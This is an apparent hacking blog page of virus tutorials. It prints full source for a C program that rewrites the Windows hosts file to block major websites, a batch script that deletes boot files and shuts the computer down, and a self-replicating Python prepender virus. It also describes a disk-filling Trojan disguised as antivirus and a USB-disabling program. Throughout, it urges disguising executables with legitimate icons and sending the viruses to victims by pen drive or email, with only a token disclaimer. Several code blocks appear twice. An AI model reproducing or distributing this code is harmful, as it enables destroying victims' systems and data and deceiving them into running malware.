Showing posts with label VIRUS. Show all posts
Showing posts with label VIRUS. Show all posts
Saturday, 7 January 2012
A Virus Program to Block Websites
This virus has been exclusively created in ‘C’.
So, anyone with a basic knowledge of C will be able to understand the
working of the virus. This virus need’s to be clicked only once by the
victim. Once it is clicked, it’ll block a list of websites that has been
specified in the source code. The victim will never be able to surf
those websites unless he re-install’s the operating system. This
blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.
NOTE:
You can also block a website manually. But, here I have created a virus
that automates all the steps involved in blocking. The manual blocking
process is described in the post How to Block a Website ?
Here is the sourcecode of the virus.
#include<stdio.h>
#include<dos.h>
#include<dir.h> char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}
#include<dos.h>
#include<dir.h> char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}
How to Compile ?
For step-by-step compilation guide, refer my post How to compile C Programs.
Testing
1. To test, run the compiled module. It will block the sites that is listed in the source code.
2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.
3. To remove the virus type the following the Run.
%windir%\system32\drivers\etc
4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this
127.0.0.1 google.com
5. Delete all such entries which contain the names of blocked sites.
NOTE: You can also change the ICON of the virus to make it look like a legitimate program.This method is described in the post: How to Change the ICON of an EXE file ?
Disclaimer: I don’t take Responsibility for what you do with this script, served for Educational purpose only.
Disclaimer: I don’t take Responsibility for what you do with this script, served for Educational purpose only.
How to Make a Trojan Horse
Most of you may be curious to know about how to make a Trojan or Virus on your own. Here is an answer for your curiosity. In this post I’ll show you how to make a simple Trojan on your own using
C programming language. This Trojan when executed will eat up the hard
disk space on the root drive (The drive on which Windows is installed,
usually C: Drive) of the computer on which it is run. Also this Trojan
works pretty quickly and is capable of eating up approximately 1 GB of
hard disk space for every minute it is run. So, I’ll call this as Space
Eater Trojan. Since this Trojan is written using a high level
programming language it is often undetected by antivirus. The source
code for this Trojan is available for download at the end of this
post. Let’s see how this Trojan works…
Before I move to explain the features of this Trojan you need to know what exactly is a Trojan horse
and how it works. As most of us think a Trojan or a Trojan horse is not
a virus. In simple words a Trojan horse is a program that appears to
perform a desirable function but in fact performs undisclosed malicious
functions that allow unauthorized access to the host machine or create a
damage to the computer.
Now lets move to the working of our Trojan
The Trojan horse which I have made
appears itself as an antivirus program that scans the computer and
removes the threats. But in reality it does nothing but occupy the hard
disk space on the root drive by just filling it up with a huge junk
file. The rate at which it fills up the hard disk space it too high. As a
result the the disk gets filled up to 100% with in minutes of running
this Trojan. Once the disk space is full, the Trojan reports that the
scan is complete. The victim will not be able to clean up the hard disk
space using any cleanup program. This is because the Trojan
intelligently creates a huge file in the Windows\System32 folder with the .dll extension. Since the junk file has the .dll
extention it is often ignored by disk cleanup softwares. So for the
victim, there is now way to recover the hard disk space unless
reformatting his drive.
1. Search for the root drive
2. Navigate to WindowsSystem32 on the root drive
3. Create the file named “spceshot.dll”
4. Start dumping the junk data onto the above file and keep increasing it’s size until the drive is full
5. Once the drive is full, stop the process.
You can download the Trojan source code HERE. Please note that I have not included the executabe for security reasons. You need to compile it to obtain the executable.
How to compile, test and remove the damage?
For step-by-step compilation guide, refer my post How to compile C Programs.
Testing:
To test the Trojan, just run the SpaceEater.exe
file on your computer. It’ll generate a warning message at the
beginning. Once you accept it, the Trojan runs and eats up hard disk
space.
NOTE: To remove the warning message you’ve to edit the source code and then re-compile it.
How to remove the Damage and free up the space?
To remove the damage and free up the space, just type the following in the “run” dialog box.
%systemroot%\system32
Now search for the file “spceshot.dll“. Just delete it and you’re done. No need to re-format the hard disk.
NOTE: You
can also change the ICON of the virus to make it look like a legitimate
program. This method is described in the post: How to Change the ICON of an EXE file ?
A Virus Program to Disable USB Ports
Once this virus is executed it
will immediately disable all the USB ports on the computer. As a result
the you’ll will not be able to use your pen drive or any other USB
peripheral on the computer. The source code for this virus is available
for download. You can test this virus on your own computer without any
worries since I have also given a program to re-enable all the USB
ports.
1. Download the USB_Block.rar file on to your computer.2. It contains the following 4 files.
- block_usb.c (source code)
- unblock_usb.c (source code)
3. You need to compile them before you can run it. A step-by-step procedure to compile C programs is given in my post - How to Compile C Programs.
3. Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).
4. To test this virus, just run the block_usb.exe file
and insert a USB pen drive (thumb drive). Now you can see that your pen
drive will never get detected. To re-enable the USB ports just run the unblock_usb.exe (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.
5. You can also change the icon of
this file to make it look like a legitimate program. For more details
on this refer my post – How to Change the ICON of an EXE file (This step is also optional)Virus that Crashes computer | Virus To Crash The Computer | Computer Crashing Virus
Virus that crashes pc
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
@echo off
msg * YOU GOT OWNED!!!
shutdown -s -t 7 -c “A VIRUS IS TAKING OVER c:Drive
save as bat file in notepad!!
This will pop up a message saying OWNED!!
and shut down the computer never to reboot again!
IT IS A VERY HARMFUL VIRUS SO PLEASE DON’T TRY IT TO YOURSELF
THERE IS ANOTHER FULL CODE OF OTHER VIRUS
Python Prepender Virus
Prependers are again standard infection types. All this does is add its code to the top of the infected file
Code:
import glob
from string import *
x = glob.glob(“*.py”) + glob.glob(“*.pyw”)
for x in x:
host = open(x, ‘r’)
hostcode = host.read()
if find(hostcode, “-=::VortX::=-”) == -1:
host = open(x, ‘w’)
myself = open(__file__, ‘r’)
a = myself.read()
num=50*2+5
a = a[:find(a, "#VORTX")+num]
mybody=a+chr(10)+hostcode
myself.close()
host.write(mybody)
#VORTX
So:
SEND IT USING PEN DRIVE OR EMAIL BUT DON’ T RUN THIS IN YOUR COMPUTER
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
@echo off
msg * YOU GOT OWNED!!!
shutdown -s -t 7 -c “A VIRUS IS TAKING OVER c:Drive
save as bat file in notepad!!
This will pop up a message saying OWNED!!
and shut down the computer never to reboot again!
IT IS A VERY HARMFUL VIRUS SO PLEASE DON’T TRY IT TO YOURSELF
THERE IS ANOTHER FULL CODE OF OTHER VIRUS
Python Prepender Virus
Prependers are again standard infection types. All this does is add its code to the top of the infected file
Code:
import glob
from string import *
x = glob.glob(“*.py”) + glob.glob(“*.pyw”)
for x in x:
host = open(x, ‘r’)
hostcode = host.read()
if find(hostcode, “-=::VortX::=-”) == -1:
host = open(x, ‘w’)
myself = open(__file__, ‘r’)
a = myself.read()
num=50*2+5
a = a[:find(a, "#VORTX")+num]
mybody=a+chr(10)+hostcode
myself.close()
host.write(mybody)
#VORTX
So:
SEND IT USING PEN DRIVE OR EMAIL BUT DON’ T RUN THIS IN YOUR COMPUTER
Subscribe to:
Posts (Atom)